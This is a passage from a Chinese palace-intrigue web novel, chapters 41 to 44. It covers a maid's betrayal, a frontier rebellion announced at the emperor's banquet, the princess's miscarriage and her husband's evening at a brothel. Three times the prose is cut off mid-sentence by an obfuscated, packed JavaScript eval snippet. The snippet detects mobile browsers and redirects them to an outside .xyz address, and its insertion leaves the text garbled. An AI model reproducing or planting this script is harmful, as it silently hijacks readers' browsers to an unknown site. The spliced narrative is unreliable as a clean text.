“一般习武学艺都要先拜师立契入门,再不济也得出些银钱,我和苍公子提了这事,他却什么也不要。苍公子这样的人,想必师从高人。我也不能这样占他的便宜……” 冯妙瑜打断他。 “他既愿意教,你们跟着好好学就是。”冯妙瑜想了想,又嘱咐道:“别的没什么,只是别和他提起他师傅的事,也别问他过去的事。” 毕竟为了救他,素烟误杀了他们二人的师傅,从此一身武艺散尽,远走他乡……那些前尘往事,想来他是不愿被人提起的。 41. 41 这日午后突然回暖,天高云淡,若忽略院里光秃秃的枝丫和满地落叶,阳光暖和明媚,不像是快入冬的天。 长公主府后院堆杂物的柴房旁的方寸之地,乌泱泱围了一圈人。 “奴婢前几日收拾东西时还疑惑少了两件旧衣不知道放到哪里了,原来是给它偷去做窝了。一,二,三……它肚子底下好像还藏着一只,一共六只,好大一家子。” “只是这家子怎么长得不像,什么样的都有?那两只长毛猫儿瞧着有些像公主身边的雪团,这爹娘一个是白猫,一个是黄白的,底下那只纯黑的乌云豹又是哪来的?” 小丫鬟们叽叽喳喳说笑个不停,还都是半大的孩子呢。冯妙瑜笑笑。府里两只狸奴,这段时间总不见衔蝉的踪影,本以为它是溜出去玩了,没想到是在府里的角落里偷偷安了家。 小猫们嘤嘤叫着,窝在边角晒太阳的衔蝉突然动了动眼皮起身,叼起身下拱来拱去的小猫走到冯妙瑜跟前,把小猫崽扔在冯妙瑜伸出来的手心里,屈尊纡贵地扬扬下巴。 “这猫儿成精了,还知道躲懒,找人帮它带孩子呢。”榴红捂脸笑着说。 不到一个月大的猫崽还没人手掌大,软乎乎一团四处乱扒拉着,实在太小了,冯妙瑜轻轻抚过它细细的脊背,生怕力气大了弄疼它。 榴红凑近也想伸手摸摸,衔蝉却扭头冲她咧牙警告,榴红只得悻悻收了手。 “真是成精了,还挑人呢。” 做娘的衔蝉想偷个闲,可那黄白相间的小猫却不依,嘤嘤叫着从冯妙瑜手上爬下来,跌跌撞撞又缩到衔蝉身子底下,不见了踪影。 “小白跑掉啦!”一片失望声。 这时,翠珠进了后院,手里拿着一封信。冯妙瑜之前特地交代了,收到冯妙瑶的信要第一时间拿给她看。 “小白猫成精变了人,这不又从另一头给过来了。” 翠珠今日正好穿着件杏子黄的长袄,臂间搭了浓白的披帛,和方才那小白猫一个颜色,榴红就调侃道。她抓住翠珠的披帛摇晃,“既化了人形,翠珠姐姐这猫尾巴可要藏好了,不要叫人发觉了才是。” 不明所以的小丫鬟们噗嗤嗤地笑。翠珠却觉得榴红笑的有些意味深长,她向来都是低她一头的,今个怎么突然反了天,还敢拿她开玩笑……但她这几日确实心虚,只没好气扯过自己的披帛。 “什么成精不成精的,不像话,公主还在这里呢你就带头说胡话。”翠珠训斥道。 “姐姐教训的是。” 榴红从未如此恭谦过,翠珠不知道她葫芦里卖什么药,心里更烦,她越过榴红将信给了冯妙瑜。 冯妙瑜看了信,久久没有说话。 谢随散衙回家后冯妙瑜还在翻来覆去看那封信,谢随换了便服,问道:“这是怎么了?” “是好事。”冯妙瑜把信原样折好收起来,却忍不住轻轻叹息,“我的五皇妹你还记得吧?如今我竟也是做姨母的人了。是个男孩。” “记得。这是好事,何必叹气?”谢随说。 “是啊。” 可在她眼里妙瑶还是个孩子呢。蛮地风土习俗不同于中原,诸部族虽是一条绳上的蚂蚱却各有心思,政局错综复杂。若是个没有继承权的女孩倒还好,男孩……日后不管冯妙瑶愿意与否,少不了要在血雨腥风里闯荡。 不过无论是外甥外甥女,冯妙瑜心里都有淡淡的失落。有了这个孩子后,妙瑶是坐稳了王妃的位子。这是好事。但好像从此以后,她的喜怒哀乐,生老病死都与这片中原大地再无干系,她的命运将完完全全系在那片土地之上,要与那片土地同呼吸,共进退了。 “本来就离得很远,就算快马加鞭也要走上十天半个月。如今感觉离得更远了,有种骑再快的马也够不到她了。我有这种感觉。” 谢随取了她的斗篷过来,一圈绵绵白白的兔绒围着她的脖子,“别乱想了,总有机会再见面的。” 以他和巫阳的关系,带她去探望冯妙瑶和她的小外甥并非难事……就等事成后,一切都安顿下好之时吧。谢随想着,伸手帮她系上了斗篷带子,“该去吃晚膳了。” 他牵着冯妙瑜的手,两人一起,并肩出了屋。 不管怎么说,妙瑶喜得一子,冯妙瑜这个做姐姐的都得表示一二。第二天一早,谢随上衙去了,冯妙瑜坐在椅子上喝茶,又开始为送什么给妙瑶和小外甥而头疼。 榴红添了热茶。 “小孩的话,除了常送的长命锁,对镯,再送些新制的被褥衣裳过去如何,这些都是送过去就能用上的。” “小门小户出来的就是小家子气。你以为谁都和你家里面一样——送被褥,衣裳?人家王妃缺这些。”翠珠抱着两盆开得正好的菊花进来,正好听见榴红的话,反唇相讥。 “公主送的东西,就是娘家人送的东西,那和王妃手底下人做的东西那能一样?”榴红说,“何况奴婢听说蛮地那里荒凉的很,养不出蚕,织不出好料子也就罢了。连好的绣娘都没几个,那针线做的粗拉拉的——” “别说小孩皮肤娇嫩,就是成人,天天穿盖那样的东西,皮肤都给磨坏了。” 送这些倒也是个办法,只是冯妙瑜心里还有顾虑。 “听说小孩长得快,等做好送过去会不会就用不上了?”冯妙瑜说。 “这个您不用担心。算好时间,稍微做宽些就是。”榴红得意抛了眼神给翠珠,“咱们府里就有个丫鬟给家里的姐妹做过这些,名字叫玳瑁。她针线活做得也好。奴婢上次见过她绣的蝴蝶的帕子,漂亮极了,就跟真的蝴蝶似的。” “那你把人叫过来。”冯妙瑜有点被她说动了。除了给小外甥的一份,这些东西她可以给自己提前准备一份。 翠珠这回吃了个败仗,气得趁冯妙瑜不注意狠狠剜榴红一眼,摆好花盆出去了。 榴红叫了门口的小丫鬟去传话,那个叫玳瑁的姑娘很快过来。去喊她的人似乎没有说清楚叫她来的目的,玳瑁绞着手,惴惴不安。 站在冯妙瑜身后的榴红悄悄递了个眼神,玳瑁立即心领神会,惶然四顾一周,忽而扑倒在地上。 “公主,可是翠珠姑娘跟您说了什么?您不要信翠珠姑娘的说的话!奴婢,奴婢什么都没做,是冤枉的——” 她这一嗓子喊出来,莫名其妙,倒把冯妙瑜吓了一跳。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14850386|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “公主叫你来是要问你事的,你突然鬼叫什么?翠珠姑娘是公主的贴身侍女,和公主说了什么,公主信与不信,由得着你多嘴?”榴红说。 冯妙瑜扭头看了榴红一眼,笑笑,双手交叠靠在了椅背上。 既然有人想演戏,那她怎么能不配合一下呢。 毕竟一场戏若不演到最后,谁能知道编排这出戏之人的目的呢。 “榴红,叫人家把说完。”冯妙瑜说,“你说翠珠冤枉了你。府里上百号人,平白无故,她冤枉你做什么?你这话我倒听不明白了。” “那是因为,因为奴婢瞧见了她。” 玳瑁起身跽在地上,抬头望着冯妙瑜,满眼期盼。至于期盼着什么,大概只有她自己知道了。 “你瞧见了什么?” “奴婢前些日子出府采买无意瞧见了翠珠姑娘被一群人围着。那些人看起来个个都凶的很,不像是好人。奴婢,奴婢以为翠珠姑娘被街上的地痞缠上了,就想过去帮忙,走近,却见带头的公子反而在给翠珠姑娘银钱,好像在做什么交易。然后翠珠姑娘回了下头,肯定看到奴婢……” “你方才说翠珠被一群地痞围着,怎么领头的又是个公子?”冯妙瑜打断她。 “奴婢也觉得奇怪,但奴婢看到的就是那样的。奴婢真是怕……” “那公子长什么样子?”又一次打断。 “长脸,”冯妙瑜咄咄逼人,玳瑁没忍住看榴红一眼,“然后细长眼睛,脸白白的。穿金戴玉,一看就是个有头有脸的人物。” 这番话半真半假。冯妙瑜很快下了结论。 细眼长脸,天天混在地痞堆里除了张家那位纨绔张久闵还能有谁。她能说出张久闵的相貌,翠珠大概真的又见了张家的人,并且和他们做了什么交易。但瞧见这事的并非这个叫玳瑁的姑娘。她不过是个传话的。 冯妙瑜挥挥手叫她下去。 “你没有什么想和我说的?”屋里只剩下她和榴红两人。 “翠珠姑娘不像是会做这种事的人呀。玳瑁她也许是看错了。为了翠珠姑娘的清誉,奴婢觉得您一定要严查此事,还给翠珠姑娘一个公道!”榴红言辞凿凿。 冯妙瑜笑出声。 “今日之前,我也不觉得你像是能做出这种事的人……跪下。” “公主?” 榴红眨了眨眼睛,疑惑归疑惑,还是依言拎裙跪在地上。 “翠珠的事情,你为什么会跟着她,都瞧见了什么,说吧。” “公主,翠珠姑娘的事情不是玳瑁看见的吗,您问奴婢,奴婢怎么知道她……” “翠珠做了什么我自会查清楚,你做了什么,我当然也能查的一清二楚。这是你最后一次说实话的机会。明白?”冯妙瑜淡淡说。 检举可以,但为了私心在她面前自导自演这样一出戏,把自己摘得干净,这样的风气决不能纵容。 “是那天。奴婢在书房听到您和阿玉姑娘说话,说起翠珠姑娘天天跑米油行很奇怪,奴婢就起了探查的心思。您也知道翠珠姑娘把奴婢当成眼中钉,奴婢怕这话由我自己来说您不信……”许久,榴红才开口道。 42. 42 榴红说的和玳瑁大差不差,她当时离得远,没有听到他们具体说了什么。只是比玳瑁所言多了些细节。冯妙瑜静静听完。翠珠跟在她身边这么多年,说没有一点感情,没有一点失望是骗人。她抿了口茶水,挥手叫榴红下去了。 榴红的话她不会全信。但这种事情叫探子查一查,用不了几天就水落石出了。 她闭了闭眼睛。 翌日,正好是谢随旬休的日子。两人本计划趁着天气还没太冷上京郊登高望远,可早上却突然下起雨来,豆大的雨珠劈劈啦啦打在屋檐,冯妙瑜叹了口气。这样的天气显然不能出门游玩了。 两人成亲近半年,却难得在白日共处一室。 冯妙瑜怕冷,还没到冬天屋里已经烧上了炭。谢随找了本书看,冯妙瑜伏在书案上描花样,线条圆润漂亮,狮子戏绣球,是她给小外甥准备的……也不止是给小外甥准备的。她抬头望眼谢随,笔微顿,墨汁在纸上晕开好一大块。 半只狮子揉皱了,团成团扔在废纸篓里。 “谢随,你能来帮我描一下花样吗?我手腕上没劲,勾线总是抖,不好看。” 话说完了,她又欲盖弥彰似的添了句,“让孩子也沾点他状元郎……姨丈的聪明气。” “描的是什么的花样?”谢随走到她身后,接过毛笔,笔杆上还留有余温。 “狮子戏绣球,”冯妙瑜把纸推到他跟前,想了想,“还有一个是牡丹蝴蝶的。” 他的脊背微微弯下,执笔的手很稳,墨色很快勾勒出圆圆的狮子脑袋。 “怎么还要牡丹蝴蝶的?不是个男孩吗?” 冯妙瑶诞下的确是个男孩,可他们若有孩子,是女是男还不一定呢,当然得做两手准备。 “你只管画就是了,问这么多做什么。”冯妙瑜笑笑糊弄过去。 用什么色的缎子去配冯妙瑜早就想好了,海蓝底子黑色滚边。她拿着针坐在在窗边,雨天屋里暗,便叫侍女点了灯,针线刺破缎面从下穿上,她翘着小指拈着那根针往上拉,表情十分专注。她的手不算巧,只能比旁人多用点心,免得绣错了又拆拆改改浪费时间。 书页翻过一页。又一页。 书是拿在手里的,眼睛却总是飘到书上方有意无意瞄着冯妙瑜。她半低着头,睫毛也半垂着,眼底映着盈盈流光,有种说不出的温柔。 雨敲青瓦,又顺着瓦檐淌下,一滴一滴,一步一步,谢随恍然间忽觉落下的不是雨。是雪。多年前的雪落在了谢府的屋顶上。屋里温暖胜春,谢宁摇着父亲的衣袖跺脚说着什么,母亲坐在炕上剪窗花,小几上一半是红油油的纸,一半是祖父布置给他的功课。他捏紧了手里的书。怎么会想到那些陈年旧事去?分明人是不同的,这里也不是谢家……可还是有相似之处的。 那种岁月静好的味道如出一辙。 这晚,他又做了那个谢家除他以外无人生还的梦。 只是在梦境的最后,他不再抱着奄奄一息的谢宁。冯妙瑜握着他的手,因她背着光他看不清楚她的表情,只能感觉到她从掌心传来的暖意,和一句清清淡淡的“没事了。” 谢随醒来时,外面天还黑着。 他披衣去外面坐了很久,直到天边泛起淡淡的白才回屋。冯妙瑜还在睡,他坐在床边看着她,最后幽幽叹了口气。 “这下可真的麻烦了……” 他理了理她的头发,动作轻柔。 很快便到立冬前一日。冯重明的生辰。帝王降生之日,普天同庆之时,奈何天公不作美,天霾霾的阴着。 纵使她并不想去冯重明的生辰宴演一出父慈女孝的戏码,想来父皇也不怎么想看见她。奈何孝字大过天,她不能不去……反正这些年都是这样过来的。就是走个过场,去了说两句吉祥话献上寿礼便找个借口告退回府。冯妙瑜随意穿了件蓝紫的短衫,底下的襦裙是橙色,绣着大簇的团花,谢随也换了身常服,正在整理袖口。 冯妙瑜还记得他今日要和户部的几位大人去平康坊玩,一面梳妆,一面随口问:“你们今日去哪里玩?” 谢随理衣袖的手指一顿,眼神飘了一下。 “同和居。” “同和居啊,”冯妙瑜说,同和居是个小有名气的茶楼,淮南菜做得非常地道,“听说他家近来请了个新的戏班子,里面有几个孩子相当出彩。” “你若喜欢,不如请他们来府里唱堂会,正好快冬至了。”谢随继续低头弄袖子,不敢看她,心虚。 其实户部几位大人邀他去的是清月桥,这清月桥虽然也是达官贵人常常光顾应酬之处,却不是什么正经的去处。虽然他没有那些旁的打算,但她心思细,直说只怕她会多心。 “听戏要人多热热闹闹的才好,在府里听多没意思。”冯妙瑜不疑他所说,她对着镜子左右看看检查妆容,见他拾掇停当了,又笑道:“旁人我不清楚,不过户部侍郎孔大人能喝酒可是出了名的,千杯不醉,他要拉你喝酒你可别上当。” “好,我知道了。”谢随敷衍道。 去应酬哪有不喝酒的?孔大人的官位可比他足足高了五级,官大一级压死人,何况整整五级。 谢随出门后不久,冯妙瑜手底下的探子就进来了。人证物证俱全,翠珠这事便清清楚楚了。冯妙瑜收好卷宗。 她给过她机会的。 纵有通天的本事,若没有忠心……翠珠,万万是留不得了。 既然翠珠留不得,从今天开始,榴红就必须顶上她的空子。冯妙瑜于是叫上榴红陪她一同入宫赴宴。 因太后抱病,虽是帝王的寿辰,宫里却连红绸红灯笼都没有挂,更别说伶人乐师吹吹打打了。将冬的风一阵阵的,枯藤老树,好生冷清。 冯妙瑜本欲如往常一般速战速决,献上贺礼,等一轮酒过去就找借口先走,谁想在去太极宫的路上撞到一个粗心的小宫女,淡红的酒液洒在了冯妙瑜的裙摆上。若是她今日穿黑色或是红色倒好说,可偏偏是橙色。怪显眼的。 “公主,这可怎么办?”榴红慌道。 临行前阿玉有简单教她面圣的规矩,其中姿容不整,是为不敬之罪。可若回府换一身衣裳再过来铁定迟到,那又是另一桩罪了。 冯妙瑜横榴红一眼,无奈道:“就这点事你慌什么呀?”她用手指指不远处无人居住的宫室,“去那里面帮我把裙子调一调,再用披帛和披袄挡着不叫人看出来不就完了。” 等调整好衣裳出来,恰有个衣着华贵不凡的女子沿着甬路迎面走过来。她太瘦了,枯瘦的,金银璎珞和锦缎貂裘重重压在肩膀上,如厚雪压在细枝上,轻轻吹口气,便地动山摇。 是献亲王妃王氏。 这些天献亲王府的日子不好过。 冯重晟杀害命官一案没多少进展,但两位负责查案的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14864258|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侍御史却好巧不巧翻出多年前他伪造朝廷文书匿税的事情,一事未平又出一事,一时间鸡飞狗跳,王氏的脸色自然好不到哪里去。 看到冯妙瑜,王氏的脸色更加难看了。 冯妙瑜知道王氏见她心里肯定不痛快,点点头算是打了招呼,抬步就走,王氏却突然叫住了她。 “公主。” 王氏挥手叫她身边的侍女离开,捏着帕子的手上指甲坑坑巴巴,是用牙齿啃出来的,不像位养尊处优王妃的手。 “妾身不明白,我是哪里得罪了您,您非要置我死地,等我一条白绫吊死自己您才肯罢休吗?” “您何出此言?”冯妙瑜说。 人是冯重晟杀的,税是冯重晟匿的。想来父皇念及兄弟手足之情和自己仁君的名声,到时候最多就是削爵夺官,虽然说得举家搬迁去封地生活,但富贵依旧在,怎么就至于寻死觅活的了。 王氏的嘴唇颤抖着。 “以前他和那些该死的相公们在府里乱来……哪怕当着我的面我都忍了,现在他喜欢男人这事全盛京都知道了。在他眼里我这个明媒正娶的妻子还不如几个做那营生的下贱相公!别人会怎么看我?我还有脸活着吗?盛京那些人一人笑一声,一人啐一口够淹死十个我了!算我求您——收手吧。” 事情闹到这个地步,已经远不是她,或者某一个人说叫停就停的了。连帝王都做不到。 但王氏只是一个大门不出二门不迈的闺阁妇人,冯妙瑜轻轻拍了拍她的手。 “您又没有做错什么。没有谁会因为一口唾沫淹死的……您要不要回娘家休息一段时间?”冯妙瑜说。 在这个关头跑回娘家难免会让人觉得大难临头各自飞,似乎有些不顾夫妻情分。但这事毕竟错在冯重晟身上,她就算回娘家也没人有资格说什么,以王家的势力护着她是没问题的。 “娘家?泼出去的水,他们躲都躲不及呢,有谁会在意?” 王氏却突然放声大笑起来,吓得她的侍女赶紧跑过来拉住她劝她。 “我要是死了,就是你害死的!我做鬼也不会放过你!”王氏尖声撂下一句。 “这个人莫名其妙的。”榴红望着王氏离去的背影,撇了撇嘴说。 “走吧,再不走就要迟了。”冯妙瑜说。 等献上贺礼入座后,冯妙瑜才发现她的座位竟然在冯敬文旁边,真是冤家路窄。 用膳时,冯妙瑜能感觉到冯敬文的视线总是时不时扫过来,好不容易熬到酒过一巡,冯妙瑜正忙着打腹稿想离席的借口,他借桌案的掩护用胳膊肘捣了冯妙瑜一肘。 “你的身体还好吧?” “还好。”冯妙瑜看他一眼,非常敷衍。 这时一个小太监突然闯进了宴席。步履匆匆。他未经通报,竟径直穿过一众桌案朝帝王走去。 冯敬文扭头对来递果盘的刘公公说:“刘公公,您老是真上年纪了。您手底下调理出来的人怎么也这么不懂规矩?” “也许是有急事回禀。”冯妙瑜低声说。 座上的帝王突然摔了筷子。 “你说什么——” 小太监仓皇跪倒,口条还是清楚的。 “朔方来报,蛮族叛乱。西洲,梅州,灵州沦陷。节度使与副使双双战死。羽书在此。” 小太监双手高举军函,色泽艳丽的雉羽在风里晃悠悠。 43. 43 殿内一片渗人的死寂。窃窃低语之声如薄雾般漫漫升起。 “两国交好多年,他们怎么会突然出兵,会不会是消息有误?我在灵州可置办了不少田宅呢。” “我早就说那些未开化的蛮子不可信!狗改不了吃屎,他们连忠孝仁义四个字是什么东西都不知道——当初就该打下去的!他们不认字,只认得拳头和刀剑!” …… 有人焦急,有人愤慨。席上数十张熟悉的面孔,各有盘算。 “送信的驿使人呢?把他带上来!”冯重明看过羽书,啪的一声,信纸拍在桌上。 “人脱力昏过去,眼下——” “太医院的太医都是吃粮不管事的吗?叫太医来,把他给朕弄醒了!” 驿使很快被两位太医架着抬进殿中。是个稚气的少年,脸像花猫一样沾着泥污。帝王问他,却是一问三不知。 毕竟他只是个普通的士兵,连个伍长都不是,能获知的消息实在有限。他只知道三洲失陷,军情十万火急必须即刻送往盛京。 “可有永泰公主的消息?”冯妙瑜问。 永泰是冯妙瑶的封号。 驿使嗫嚅着,直到冯重明不耐烦了出言催促,他才开口。 “小人不清楚。只是那些蛮子出征前有祭旗的习俗,永泰公主——只怕凶多吉少。” “祭旗?”有人疑惑。 “就是在出征前以活物祭神乞求庇佑,”驿使顿了顿,“那些蛮子,向来用活人祭旗。” 妙瑶没了?怎么可能?冯妙瑜眨了眨眼睛,冯敬文在一旁来来回回嘀咕着怎么会,不可能一类的话。她捏着扶手,这个时候她心里竟是波澜不惊,甚至是非常冷静的……也许她这个人骨子里还是冷血的吧。 席上一片纷乱。帝王脸色铁青,难看得能滴出水,生辰宴眼看是继续不下去了,不少人已识趣的准备起身告退。 冯重晟却猛地站起身,他轻轻睨了冯妙瑜一眼。 “那帮蛮子未免得寸进尺!他们不过是几个游牧部族组成的草戏班子,当年我大梁军队一路从长河打到了他们的回丘城下,要不是当年安王优柔寡断,说什么以和为贵,以德化人——这世上哪里还有什么蛮族?” 冯重晟一字一句,掷地有声。 “这些年来,我们向他们出口粮食布匹,传授技术,甚至还尚公主给他们的王,天恩浩荡,他们却恩将仇报,背信弃义!是可忍,孰不可忍!臣弟愿为皇兄分忧,亲自领兵前往西境,彻底铲平蛮族叛军,以扬国威!”① 既有了一个出头鸟,几位素日与冯重晟交好的几人也纷纷站出来加入了请战的行列。人还不少。 高台上,冯重明意味深长地望他一眼。 “今个只是家宴,何况天也晚了,这事等明日朝会再议。” 宴席早早散了。 榴红扶着冯妙瑜上了马车,又往她手里放了个汤婆子,水红提花缎套子,暖烘烘的。 “当真是人不可貌相,那位献亲王殿下瞧着白白胖胖,连路都走不稳的样子,没想到还有几分血气,敢上场杀敌。方才席上那么多人就他一个人站出来说话。奴婢真不明白皇上为什么不即刻答应他。” 榴红说着,攥着拳头对着空气呼呼挥舞两下。 “那个安王殿下也是,当年要是继续打下去灭了蛮族,不是就没有今天这事情了!” “天大的好事,他当然第一个站出来了。”冯妙瑜摸摸汤婆子上绒绒的料子,“领兵前往西境?他手抖得连筷子都拿不稳,更别说上马拿刀了,谁敢让他一个亲王上前线去,这不是添乱吗。他不过挂个名换个地方喝酒作乐而已。反正打赢了是他的功劳,打输了也有他的一份苦劳——班师回朝,到时候他是大功臣,谁还敢拿一个小官员的死和他过不去?” “何况,蛮族哪里是那样好打的。蛮地荒凉广袤,光是大军进入蛮地后每日的粮草军费补给都是天文数字,更别说其他的支出。那些蛮族人全民皆兵,除了正直壮年的男女,就是五岁孩童都能上马充当斥候,布置陷阱。当年我们看似赢了,实则付出了远比蛮族人惨重十倍百倍的代价。三年战乱,人员伤亡不计其数,国库亏空,良田荒废……最后我们得到的只有数百亩无法耕种的不毛之地,蛮族人游牧为生,居无定所,几百亩荒地对他们来说不痛不痒。继续打下去实在不是明智的选择。” “这样说来,献亲王殿下要是掌兵打了胜仗回来,那岂不是对公主您很不利?”榴红问。 “何止是我。那些上奏要求严惩他的寒门官员和士子。他是一个都不会放过的。” 天色暗淡下来。明天就是冬至,不少人家已经提前在门口挂上了祈福的灯笼,五颜六色,煞是好看。 蛮族叛乱之事很快会从太极宫传到大小官员耳朵里。今天晚上注定是个不眠之夜,至于明天一早的朝会,恐怕会比年前的东西两市还要热闹吧。冯妙瑜想,最要紧的是父皇的态度……不过那些寒门官员也不傻,他们不会眼睁睁看着献亲王得势再起,但仅凭他们势单力薄,她这边也得早做些准备才是。 “拿我的令牌,即刻请颜先生来府里一趟。” 冯妙瑜探身掀帘吩咐侍卫,这次除颜先生外,她还叫上了另外几位幕僚和探子。 几个侍卫抱拳领命下去了。 冯妙瑜才刚刚坐回原位,外面忽然传来尖叫声。有人在长街上纵马飞驰—— 几名骑手从街道拐角处直直冲向她们的马车。驾车的马夫吓得猛拉缰绳,冯妙瑜身子霎时向前冲,一下子撞到桌案边角上,她疼的倒吸了口凉气,手下意识地捂住绞痛的腹部。 “哪有这样骑马的,你们不要命了!”马夫吼道。 驾马拦车的是几个纤弱漂亮的少年。他们挑衅似的冲车夫抛了个眼神,他们身后,一辆马车在一众侍卫簇拥下慢慢溜过来。 是献亲王的车驾。 “哎呀,公主的车驾怎么在此?也不多点几盏灯,我们几个都没看到您的车驾,差点就撞上了,好险啊。”为首的少年笑嘻嘻地说。 车夫把牙齿咬的咯咯作响,睁眼说瞎话,什么没看到!那几个人分明就是看准了故意冲上来的! 冯重晟也从车内探了头出来。 “这不是我侄女的马车嘛,走夜路本就危险,怎么还这样不当心?”冯重晟笑道:“既然你都停下来了,不介意让个路,让我的马车先走吧?” 小腹处一阵一阵的疼,冯妙瑜强忍着痛意平静回道:“多谢皇叔关怀……”她又吩咐车夫,“让皇叔的马车先走。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“姑爷还没有回来吗?那给姑爷留盏灯,”冯妙瑜说,她累极,也懒得再去洗漱更衣,只简单漱了个口,“明天一早,天亮就叫我起来。” 她合衣便睡下了。 虽睡着了,却睡得很不踏实。夜半迷迷糊糊又翻身醒来,只觉得腿上湿湿黏黏的,伸手一探,幔帐内黑魆魆又瞧不大清楚。 这个年纪,总不可能孩子一样溺床吧? 正巧这时候守夜的翠珠进来挑灯翻炭,火烛的光照亮了青幽幽的幔帐,也照亮了冯妙瑜的手。 红的。 冯妙瑜翻开被褥,底下的单褥湿淋淋已经瞧不出浅黄的底色,大片大片暗红,全是血。 “奴婢去叫太医来!” 翠珠手里的火烛晃了一下,却被冯妙瑜哆嗦着一把抓住手腕,“不,不能叫。” 翠珠手腕上留下一圈红色掌印,这时候痛觉也苏醒过来,冯妙瑜疼的厉害,但脑子还是清楚的。 叫了太医冯重晟那边必然能得到消息,如今正是两边相争的要紧关头,她不能出问题,就算真的出了问题也绝对不能传出去让人知道。 “叫陈嬷嬷来就行了,她是医女,再煮点姜糖水,我估计就是月事,比往常多些罢了,不要紧的……” 44. 44 陈嬷嬷半夜睡得正香,懵懵懂懂就叫人叫起来拉去了正房里。还未踏进房门,闻得浓重的血腥味,她心里登时一凉,拨开人群匆匆冲到床榻跟前。 冯妙瑜面色惨白如纸,额头挂满豆大的冷汗汗珠,意识都有些模糊,陈嬷嬷一连叫了好几声她才有微弱的反应。 陈嬷嬷心道一声大事不妙。 “公主这是小产了,这样子孩子肯定保不住,先止血再说。” 陈嬷嬷深吸口气平复了心情,这一屋子除她以外都是半大的小丫头,她不能慌。她即刻净手吩咐丫鬟下去准备止血的药物,又问:“太医怎么还没来?” “公主不让叫。” “胡闹!都什么时候了,还不快去请人!” 陈嬷嬷气得大骂,这汤药下去血若能止住倒不要紧,止不住就远不是她能应付的了,人命关天,没有太医在场怎么能行。 “奴婢这就去叫太医来……”榴红慌慌乱乱就往外跑,却被翠珠拦住了。翠珠拉着她和阿玉退去了外间。 “阿玉,你偷偷去朱太医府上把朱太医带进来,翻墙走,别惊动其他人。”这个时候谢随也得在场才是,翠珠看一眼还半懵半愣着的榴红,不能指望她,“我去平康坊的同和居找姑爷,至于你——” “你就在屋里守着,今晚的事情绝不能传出府去,你要盯着院里的小丫头们,盯紧了。明白?”翠珠板着脸,十分威严。 翠珠这一声也唤醒了榴红,她回过神哆哆嗦嗦着眼点头应诺。 * 平康坊,清月桥。 石榴红的花毡地毯,兰花幽香,胭脂水粉里晃荡着低婉的阮咸琴声。 今晚做东的吴大人已经不胜酒力醉了,歪在那弹阮咸的小姑娘身侧扣着两根手指弹酒杯玩。那小姑娘是个才出师没多久的,本就紧张,被他这么一打乱拍子,手底下立马又弹错两个音,在旁陪笑陪着喝酒的老鸨恶狠狠剜她一眼,明早指定少不了一通打骂……她头埋得更低了,恨不得缩到衣裳里面去,往下倒酒的酒壶似的。 “大人再饮一盏吧?” 老鸨转头又是笑盈盈斟酒,孔大人满上一杯下肚,谢随作陪,执壶倒酒,亦是一杯热酒下肚。 一曲罢,有人拍手叫好。 “吴兄这地方不大,但人才济济呐。” 吴大人闻言笑笑,眯着眼屋里横扫一圈,几人中就谢随身边没人了,便指谢随对那弹阮咸的小姑娘道:“小袖,去,给谢大人斟杯酒。” 小袖迟疑望眼老鸨,待老鸨微微颔首,她才慢慢起身跽坐在谢随身侧,老鸨灼灼的视线落在身上,她不敢懈怠,小心斟了酒递到谢随手边。 “大人,请喝酒。” 那个叫小袖的姑娘瞧着十四五岁,身量纤纤,低眉顺眼,艳红口脂和一张青涩到能掐出水来的稚嫩小脸拼凑在一起有种奇异的违和感,是个被迫套上大人衣裳的孩子。 “你放着吧,我自己来就好。”谢随轻轻说。 老鸨就在对面盯着,小袖哪敢听他的,执意举着酒杯。 “安之,这又不是在府里有人管着,都出来玩了,还这么见外做什么?你看小美人好心给你斟酒,手都举困了,你再不理她我看人家都快哭出来了,你就喝了吧。”孔大人说。 吴大人和另外几位大人也在旁起哄,谢随才接过小袖手里的酒杯抿了一口。灯影下,那侧脸清雅隽永如玉雕般漂亮。 小袖见他生的细致,亦不似其他客人那般瞅着空儿油手油脚,心里不免生出一些好感,她轻轻在谢随身侧坐下,抬手捋了捋耳畔发丝。 她虽然年幼,却也知道像她这样的姑娘最好的出路就是得了贵人赏识赎了身离开这个鲜花绸缎搭的烂泥滩子。做个妾,也许是低人一等,好歹衣食无忧,有个指望。 谈笑间,又是数杯酒下肚。 谢随伸指揉揉眉心。正如冯妙瑜所言,这位孔大人是个海量,怎么喝都跟没事人似的,精神得很,他实在陪不住,便起身拱手去梢间小歇醒酒。起身起得太猛,踉跄一下就要跌倒。 “大人当心。” 软软一声,是一旁的小袖扶住了他。 指尖无意触到他的身体,小袖不知为何脸上突然飞红。过了这个村就没这店了,谁知道下个机会在哪里,又是怎么样的人?小袖于是鼓起勇气抓住谢随推她的手,若无其事道:“大人当心脚下,还是妾身扶您过去吧。” * “就是前面那间?”翠珠强忍着心中怒火。 清月桥的管事一脸为难的点头。 翠珠大步向前。 